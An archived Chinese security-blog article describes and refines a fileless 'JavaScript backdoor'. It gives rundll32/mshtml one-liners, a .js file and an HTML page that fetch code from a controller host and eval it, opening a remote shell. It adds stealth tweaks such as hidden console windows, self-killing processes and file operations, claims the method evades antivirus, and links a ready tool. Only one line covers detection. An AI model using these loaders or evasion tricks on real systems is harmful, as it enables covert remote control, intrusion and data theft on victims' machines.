
        <html>
			<head>
			     <title>JavaScript Backdoor - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/11764">http://drops.wooyun.org/tips/11764</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>Casey Smith最近在Twitter分享了他的研究成果，执行一段JavaScript代码即可反弹一个Http Shell，很是奇妙，所以就对这个技术做了进一步研究。</p>

<p><img src="http://static.wooyun.org//drops/20160104/2016010415283129891110.png" alt="Alt text" /></p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20160104/201601041528335078722.png" alt="Alt text" /></p>

<p>从截图我们可以看到该技术的使用方法，在cmd下利用rundll32.exe加载JavaScript代码，代码运行后会反弹一个Http Shell，而特别的地方在于当运行完cmd命令后，后台会一直存在进程rundll32.exe用来同Server持续连接，整个过程不需要写入文件，隐蔽性大大提高。</p>

<h1>0x02 测试环境</h1>

<hr />

<p>Server：</p>

<pre><code>#!bash
OS：Win7 x64
IP：192.168.174.131
</code></pre>

<p>Client：</p>

<pre><code>#!bash
OS：Win7 x86
IP：192.168.174.130
</code></pre>

<p>下载链接：<br />
<a href="https://gist.github.com/subTee/f1603fa5c15d5f8825c0">https://gist.github.com/subTee/f1603fa5c15d5f8825c0</a></p>

<h1>0x03 实际测试</h1>

<hr />

<p><strong>1、Server启动服务，监听端口</strong></p>

<p>需要将下载脚本中的IP修改为当前主机IP</p>

<p>管理员运行</p>

<p><strong>2、Client加载JavaScript指令</strong></p>

<pre><code>#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
</code></pre>

<p><strong>3、Server弹回Shell</strong></p>

<p>可以执行cmd命令并获得回显</p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528358507732.png" alt="Alt text" /></p>

<h1>0x04 测试中的Bug</h1>

<hr />

<p><strong>1、连接超时</strong></p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528365636741.png" alt="Alt text" /></p>

<p>在成功返回shell后，如果在后台等待一段时间，Clinet就会弹出超时连接的对话框</p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528372215551.png" alt="Alt text" /></p>

<p>从截图可以看到Casey Smith已经发现了连接超时的问题，所以在新版本已经做了修正，加上window.setTimeout来避免连接超时的错误，在message内加了超时判断（message存储用于实现Client后续连接的代码，具体细节一看代码就明白），但是这样做还远远不够。</p>

<p><strong>2、进程残留</strong></p>

<p>如果Server退出，Clinet还会存在rundll32.exe进程</p>

<p><strong>3、执行cmd命令会弹黑框</strong></p>

<p>如果是立即回显的cmd命令，黑框一闪而过</p>

<p>如果是systeminfo这种需要等待的cmd命令，会一直弹出cmd 执行的黑框，等到执行完毕才会退出</p>

<p><strong>4、执行exe会阻塞</strong></p>

<p>比如执行calc.exe，server端会阻塞，直到关闭calc.exe进程才会恢复正常</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528397035661.png" alt="Alt text" /></p>

<p><strong>5、无法删除文件</strong></p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528406889571.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528433383281.png" alt="Alt text" /></p>

<p><strong>6、server端无法正常退出</strong></p>

<p>想退出只能强行关闭当前cmd.exe</p>

<p><strong>7、无法上传下载文件</strong></p>

<h1>0x05 优化思路</h1>

<hr />

<p><strong>1、对setTimeout的解释</strong></p>

<p>查询相关资料如下：<br />
<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx</a></p>

<p>文中提到了JavaScript实现WinHttpRequest的用法，如图</p>

<p><img src="http://static.wooyun.org//drops/20160104/201601041528449248591.png" alt="Alt text" /></p>

<p>setTimeout用来设置http的超时时间，如果全为0，代表no time-out，也就是无限期</p>

<blockquote>
  <p>注:<br />
  在Casey Smith发布的第一个版本尚未修复该方法的时候，我解决该方法的思路是参照微软的方法，对应到代码中就是添加<br />
  <code>h.SetTimeouts(0, 0, 0, 0);</code>即可</p>
</blockquote>

<p><strong>2、增加try catch方法处理错误消息</strong></p>

<p>Casey Smith在代码中虽然加入了超时判断，但没有对其他可能产生的意外错误做判断，所以需要添加try catch对错误消息进行响应。</p>

<p>try catch不仅能够解决上述问题中的Bug1，同样能用来判断输入的命令能否成功执行（比如输错命令或输错路径）</p>

<p><strong>（相关细节可参照结尾提供的参考代码）</strong></p>

<p>查询相关资料如下：<br />
<a href="http://blog.csdn.net/qdfeitian/article/details/6371146">http://blog.csdn.net/qdfeitian/article/details/6371146</a></p>

<p><strong>3、使用taskkill解决进程残留的问题</strong></p>

<p>Clinet可以使用taskkill来结束自身进程，自动退出</p>

<pre><code>#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe"）
</code></pre>

<p><strong>4、WScript.Shell对象run和exec的区别</strong></p>

<p>参考资料：</p>

<ul>
<li><a href="http://www.cnblogs.com/dongzhiquan/archive/2013/04/20/3033287.html">http://www.cnblogs.com/dongzhiquan/archive/2013/04/20/3033287.html</a></li>
<li><a href="https://msdn.microsoft.com/zh-cn/library/ateytk4a(en-us,VS.85).aspx">https://msdn.microsoft.com/zh-cn/library/ateytk4a(en-us,VS.85).aspx</a></li>
<li><a href="https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx">https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx</a></li>
</ul>

<p>为了获得cmd命令的回显，Casey Smith采用的方法是使用exec方法，因为只有exec方法的返回值是一个对象，才可以获得控制台输出信息和控制台错误信息</p>

<p>而run方法的返回值是一个整数，就是0或1成功和失败两个状态</p>

<p>但是使用exec方法也有一些弊端，比如测试中的bug3和bug4，这是exec方法本身所无法解决的问题。</p>

<p>而如果使用run方法可以解决bug4</p>

<p>综上，解决思路是对输入的内容做判断，如果是cmd命令，使用exec方法；如果是执行exe，使用run方法</p>

<p><strong>5、解决使用run方法执行命令会弹黑框的问题</strong></p>

<p>参考资料：<br />
<a href="https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx">https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx</a></p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20160104/2016010415284660141101.png" alt="Alt text" /></p>

<p>run方法其实后面还可以加参数指示该窗口能否被看见</p>

<p>所以在执行比如taskkill的命令就可以使用</p>

<pre><code>#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
</code></pre>

<p>避免弹出黑框</p>

<blockquote>
  <p>注：<br />
  <code>intWindowStyle</code>参数的说明中提到“Note that not all programs make use of this information.”<br />
  例子之一就是用run方法来执行systeminfo这种需要等待的cmd命令是无法隐藏窗口的</p>
</blockquote>

<p><strong>6、如何隐蔽执行systeminfo并获取回显</strong></p>

<p>参考了如下资料：<br />
<a href=" <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2015-097380">WooYun: 搜狗浏览器远程命令执行之五</a> "> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2015-097380">WooYun: 搜狗浏览器远程命令执行之五</a> </a></p>

<p>如果使用exec方法，虽然可以获取到回显，但是利用window.moveTo(-1000,-1000)无法移动弹出的黑框</p>

<p>而使用run方法虽然可以移动弹出的黑框，但是无法获得回显</p>

<p>综合这两种方法，最后我们只能退而求其次，使用run方法将执行命令回显的结果输出到文件中，然后再通过读取文件来获取结果</p>

<p>具体实现如下：</p>

<p>(1)使用run方法将systeminfo回显的结果输出到文件中c\test\a.txt</p>

<p>示例代码：</p>

<pre><code>#!js
new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo &gt;&gt;c\test\a.txt",0,true)
</code></pre>

<p>(2)读取文件并回传</p>

<p>示例代码：</p>

<pre><code>#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();
</code></pre>

<p>通过调用<code>new ActiveXObject("Scripting.FileSystemObject")</code>读取回显内容，然后再回传信息</p>

<p><strong>（相关细节可参照结尾提供的参考代码）</strong></p>

<p><strong>7、解决连接超时的问题</strong></p>

<p>通过以上的分析，如果要解决连接超时的问题，需要对Clinet执行的命令添加如下功能：</p>

<ol>
<li>捕获错误消息</li>
<li>进程自动退出</li>
<li>全过程不弹黑框</li>
</ol>

<p>所以Clinet执行的命令最终优化为：</p>

<pre><code>#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
</code></pre>

<p><strong>8、解决server端无法正常退出</strong></p>

<p>加入exit命令判断，如果输入exit，那么Client调用taskkill结束自身，Server同样执行exit退出</p>

<p><strong>（相关细节可参照结尾提供的参考代码）</strong></p>

<p><strong>9、解决删除文件的问题</strong></p>

<p>通过调用<code>new ActiveXObject("Scripting.FileSystemObject")</code>实现</p>

<p>示例代码：</p>

<pre><code>#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();
</code></pre>

<p><strong>（相关细节可参照结尾提供的参考代码）</strong></p>

<p><strong>10、解决文件上传下载</strong></p>

<p>示例如图：</p>

<p><img src="http://static.wooyun.org//drops/20160104/2016010415284773181112.png" alt="Alt text" /></p>

<p>示例代码可以实现简单的文件上传下载，但里面存在一个小bug，如果你投入精力，不难解决</p>

<h1>0x06 补充</h1>

<hr />

<h3>1、白名单进程，免疫杀毒软件</h3>

<p>由于是通过rundll.exe调用的代码，所以杀毒软件会放行，不会拦截</p>

<h3>2、检测</h3>

<p>通信协议使用HTTP，通过防火墙拦截流量即可发现其中的攻击行为</p>

<h3>3、更多加载方式</h3>

<p><strong>（1）js文件</strong></p>

<p>可以放在js文件里面 双击js文件执行</p>

<pre><code>#!js
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
try{
h.Send();
B=h.ResponseText;
eval(B);
}
catch(e)
{
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
}
</code></pre>

<p>后台进程为wscript.exe</p>

<p><strong>（2）尝试挂在网页里面</strong></p>

<pre><code>#!html
&lt;!doctype html public "-//w3c//dtd html 4.0 transitional//en"&gt;
&lt;html&gt;
&lt;head&gt;
 &lt;title&gt; new document &lt;/title&gt;
 &lt;meta name="generator" content="editplus"&gt;
 &lt;meta name="author" content=""&gt;
 &lt;meta name="keywords" content=""&gt;
 &lt;meta name="description" content=""&gt;
 &lt;script language="javascript" type="text/javascript"&gt;
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
h.Send();
B=h.ResponseText;
eval(B);
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>使用ie打开会提示是否加载控件，如果允许，即可弹回shell</p>

<p>Chrome、Firefox不支持ActiveXObject，所以不会触发</p>

<h1>0x07 小结</h1>

<hr />

<p>我在Casey Smith的基础上，对其代码做了进一步优化，对JavaScript Backdoor技术做了进一步研究，感谢他的无私分享，才有了我的这篇文章。</p>

<p>我开发的代码已上传到github，下载链接：<br />
<a href="https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1">https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1</a></p>

<p>欢迎下载测试，交流学习。</p>

<p>支持的功能如图</p>

<p><img src="http://static.wooyun.org//drops/20160104/2016010415284991121121.png" alt="Alt text" /></p>

<blockquote>
  <p>注：<br />
  本文仅用来学习交流JavaScript Backdoor技术，并提供了检测方法<br />
  同时在文件上传下载的功能上留下了bug，距实际使用还有一点距离，以避免该方法被滥用。</p>
</blockquote>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          